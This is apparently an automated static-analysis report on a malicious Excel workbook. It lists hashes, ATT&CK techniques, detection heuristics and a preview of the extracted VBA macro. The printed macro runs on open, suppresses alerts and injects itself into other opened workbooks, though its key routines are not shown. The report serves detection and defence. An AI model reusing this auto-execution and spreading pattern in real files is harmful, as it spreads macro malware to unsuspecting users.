Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16108510f6626f5c…

MALICIOUS

Office (OLE)

123.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 8c7f0df42cb72f6b971a816669e424d0 SHA-1: 9d00c0e82c127e16159c9df93656f731fc4208ce SHA-256: 16108510f6626f5c2fe00cd3272f66c0fc26b94da7be999307e1715f77fb8a68
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical heuristic OLE_VBA_PCODE_AUTOEXEC_EXEC indicates that the VBA macro executes code using Shell when the workbook is opened. The Workbook_Open macro is present and attempts to add a reference and execute a function named 'do_what'. This strongly suggests the macro is designed to download and execute a second-stage payload. The ClamAV detection name also points to a known malicious Excel variant.

Heuristics 4

  • ClamAV: Xls.Virus.Mailcab-6702020-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Mailcab-6702020-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2320 bytes
SHA-256: 282c0b31ff4c0790d5944843ecdbdedf58205c38d9567f1f67a78d71c4459f96
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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